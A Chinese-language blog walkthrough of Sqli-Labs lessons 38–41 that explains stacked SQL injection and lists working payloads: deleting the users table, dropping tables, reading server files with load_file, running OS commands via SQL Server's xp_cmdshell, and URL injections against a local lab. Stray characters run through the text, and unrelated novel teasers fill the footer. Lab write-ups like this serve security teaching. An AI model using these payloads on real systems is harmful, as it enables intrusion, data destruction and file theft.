Sqli-Labs:Less 38 - Less 41

Less 38

基于錯誤_GET_單引號_字符型_堆疊注入

從這關(guān)開始便是 Page 3 的內(nèi)容了:Stack Injection(堆疊注入)搅裙,從名詞含義看就是多條 sql 語句一起執(zhí)行丰介。

首先我們要學習前置知識:堆疊注入的原理、局限性與各數(shù)據(jù)庫的實例啥酱。

參考:《MySQL注入天書》

0x01. 原理介紹

在 SQL 中,分號;用來表示一條 SQL 語句的結(jié)束。試想我們在;結(jié)束一個 SQL 語句后繼續(xù)構(gòu)造下一條語句咬扇,兩條語句會不會一起執(zhí)行狮暑?這個想法也就造就了堆疊注入棚唆。

Union Injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別心例?
區(qū)別就在于union或者union all執(zhí)行的語句類型是有限的宵凌,可以用來執(zhí)行查詢語句,且在 MySQL 中返回的列數(shù)需要相等止后;而堆疊注入可以執(zhí)行的是任意的語句瞎惫。

例,用戶提交:

id=1;delete from users

而服務(wù)器未做檢查译株,生成的 SQL 語句為:

select * from users where id=1;delete from users

執(zhí)行后瓜喇,第一條將顯示查詢信息,第二條將刪除整個表歉糜。

0x02. 局限性

堆疊注入并不是在每一個環(huán)境下都可以執(zhí)行乘寒,可能受到 API 或者數(shù)據(jù)庫引擎不支持的限制,同時權(quán)限不足也會使攻擊者無法修改數(shù)據(jù)或者調(diào)用一些程序匪补。

雖然前面提到了堆疊查詢可以執(zhí)行任意的 SQL 語句伞辛,但是這種注入方式并不是十分完美。在我們的 Web 系統(tǒng)中夯缺,代碼通常只返回一個查詢結(jié)果蚤氏,因此堆疊注入第二個語句產(chǎn)生錯誤或者結(jié)果只能被忽略,我們在前端界面無法看到返回結(jié)果踊兜。

因此在讀取數(shù)據(jù)時竿滨,建議使用union注入。同時在使用堆疊注入之前,我們也需要知道一些數(shù)據(jù)庫相關(guān)信息如表名于游,列名等毁葱。

0x03. 數(shù)據(jù)庫實例

下面介紹幾個常用數(shù)據(jù)庫的堆疊操作:基本操作與增刪查改。

0x03-01. MySQL
  1. 新建表test
    select * from users where id=1;create table test like users;
  2. 刪除新建表test
    select * from users where id=1;drop table test;
  3. 查詢數(shù)據(jù)
    select * from users where id=1;select 1,2,3;
  4. 加載文件
    select * from users where id=1;select load_file('c:/test.php');
  5. 修改數(shù)據(jù)
    select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');

load_file()函數(shù)

讀取文件并返回文件內(nèi)容為字符串贰剥。

要使用此函數(shù)头谜,文件必須位于服務(wù)器主機上,必須指定完整路徑的文件鸠澈,而且必須有FILE權(quán)限柱告;該文件所有字節(jié)可讀,但文件內(nèi)容必須小于max_allowed_packet笑陈。

如果該文件不存在或無法讀取际度,因為前面的條件之一不滿足,函數(shù)返回NULL涵妥。

注意:這里還是有數(shù)據(jù)導入導出權(quán)限的問題乖菱,在 Less 7 中也遇到過。

Mysql數(shù)據(jù)庫需要在指定的目錄下進行數(shù)據(jù)的導出蓬网。
secure_file_priv這個參數(shù)用來限制數(shù)據(jù)導入和導出操作的效果窒所,例如執(zhí)行load datainto outfile語句和load_file()函數(shù),這些操作需要用戶具有file權(quán)限帆锋。

1. 如果這個參數(shù)為空吵取,這個變量沒有效果。
2. 如果這個參數(shù)設(shè)為一個目錄名锯厢,Mysql服務(wù)只允許在這個目錄中執(zhí)行文件的導入和導出操作皮官。這個目錄必須存在,MySQL服務(wù)不會創(chuàng)建它.
3. 如果這個參數(shù)為null实辑,Mysql服務(wù)會禁止導入和導出操作捺氢。這個參數(shù)在MySQL 5.7.6版本引入。

于是查看secure_file_priv

show variables like '%secure%'

在指定的位置導出文件:

注意:在 MySQL 中剪撬,需要注意路徑轉(zhuǎn)義的問題摄乒,即用/\\分隔。

參考:
windows下mysql loadfile返回NULL的解決
MySQL里設(shè)置或修改系統(tǒng)變量的幾種方法

這里有修改系統(tǒng)變量的幾種方法残黑,可以考慮注入時涉及文件操作時先修改權(quán)限馍佑。

0x03-02. SQL Server
  1. 新建表
    select * from test;create table test2(ss CHAR(8));
  2. 刪除新建表
    select * from test;drop table test2;
  3. 查詢數(shù)據(jù)
    select * from test;select 1,2,3;
  4. 修改數(shù)據(jù)
    select * from test;update test set name='name' where id=1;
  5. SQL Server中最為重要的存儲過程的執(zhí)行 *有待學習
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
    【*有待學習】
0x03-03. Oracle

上面的圖中已經(jīng)提及,Oracle 不能使用堆疊注入萍摊,可以從圖中看到挤茄,當有兩條語句在同一行時如叼,直接報錯無效字符冰木。

0x03-04. Postgresql
  1. 新建表
    select * from user_test;create table user_data(id DATE);
  2. 刪除新建表
    select * from user_test;delete from user_data;
  3. 查詢數(shù)據(jù)
    select * from user_test;select 1,2,3;
  4. 修改數(shù)據(jù)
    select * from user_test;update user_test set name='new' where name='name';

0x04. 注入過程

堆疊注入需要依靠前文所寫的各種注入方式來獲取數(shù)據(jù)庫的信息,在這里只演示如何插入新的數(shù)據(jù)。

http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+

Less 39

基于錯誤_GET_數(shù)字型_堆疊注入

類似 Less 38踊沸,Less 39 是數(shù)字型注入歇终,沒有過濾任何東西。

http://localhost:8088/sqlilabs/Less-39/?id=1;insert into users(id,username,password) values(39,'Less39','Less39')--+

Less 40

基于Bool_GET_單引號_小括號_字符型_盲注_堆疊注入

正常注入可以用腳本 Bool 盲注逼龟,堆疊注入如下:

http://localhost:8088/sqlilabs/Less-40/?id=1');insert into users values(40,'Less40','Less40')--+

Less 41

基于Bool_GET_數(shù)字型_盲注_堆疊注入

正常注入可以用腳本 Bool 盲注评凝,堆疊注入如下:

http://localhost:8088/sqlilabs/Less-41/?id=1;insert into users values(41,'Less41','Less41')--+

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市腺律,隨后出現(xiàn)的幾起案子奕短,更是在濱河造成了極大的恐慌,老刑警劉巖匀钧,帶你破解...
    沈念sama閱讀 222,000評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件翎碑,死亡現(xiàn)場離奇詭異,居然都是意外死亡之斯,警方通過查閱死者的電腦和手機日杈,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,745評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來佑刷,“玉大人莉擒,你說我怎么就攤上這事√毙酰” “怎么了涨冀?”我有些...
    開封第一講書人閱讀 168,561評論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長麦萤。 經(jīng)常有香客問我蝇裤,道長,這世上最難降的妖魔是什么频鉴? 我笑而不...
    開封第一講書人閱讀 59,782評論 1 298
  • 正文 為了忘掉前任栓辜,我火速辦了婚禮,結(jié)果婚禮上垛孔,老公的妹妹穿的比我還像新娘藕甩。我一直安慰自己,他們只是感情好周荐,可當我...
    茶點故事閱讀 68,798評論 6 397
  • 文/花漫 我一把揭開白布狭莱。 她就那樣靜靜地躺著,像睡著了一般概作。 火紅的嫁衣襯著肌膚如雪腋妙。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,394評論 1 310
  • 那天讯榕,我揣著相機與錄音骤素,去河邊找鬼匙睹。 笑死,一個胖子當著我的面吹牛济竹,可吹牛的內(nèi)容都是我干的痕檬。 我是一名探鬼主播,決...
    沈念sama閱讀 40,952評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼送浊,長吁一口氣:“原來是場噩夢啊……” “哼梦谜!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起袭景,我...
    開封第一講書人閱讀 39,852評論 0 276
  • 序言:老撾萬榮一對情侶失蹤唁桩,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后耸棒,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體朵夏,經(jīng)...
    沈念sama閱讀 46,409評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,483評論 3 341
  • 正文 我和宋清朗相戀三年榆纽,在試婚紗的時候發(fā)現(xiàn)自己被綠了仰猖。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,615評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡奈籽,死狀恐怖饥侵,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情衣屏,我是刑警寧澤躏升,帶...
    沈念sama閱讀 36,303評論 5 350
  • 正文 年R本政府宣布,位于F島的核電站狼忱,受9級特大地震影響膨疏,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜钻弄,卻給世界環(huán)境...
    茶點故事閱讀 41,979評論 3 334
  • 文/蒙蒙 一佃却、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧窘俺,春花似錦饲帅、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,470評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至对途,卻和暖如春赦邻,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背实檀。 一陣腳步聲響...
    開封第一講書人閱讀 33,571評論 1 272
  • 我被黑心中介騙來泰國打工惶洲, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留按声,地道東北人。 一個月前我還...
    沈念sama閱讀 49,041評論 3 377
  • 正文 我出身青樓湃鹊,卻偏偏與公主長得像儒喊,于是被迫代替她去往敵國和親镣奋。 傳聞我的和親對象是個殘疾皇子币呵,可洞房花燭夜當晚...
    茶點故事閱讀 45,630評論 2 359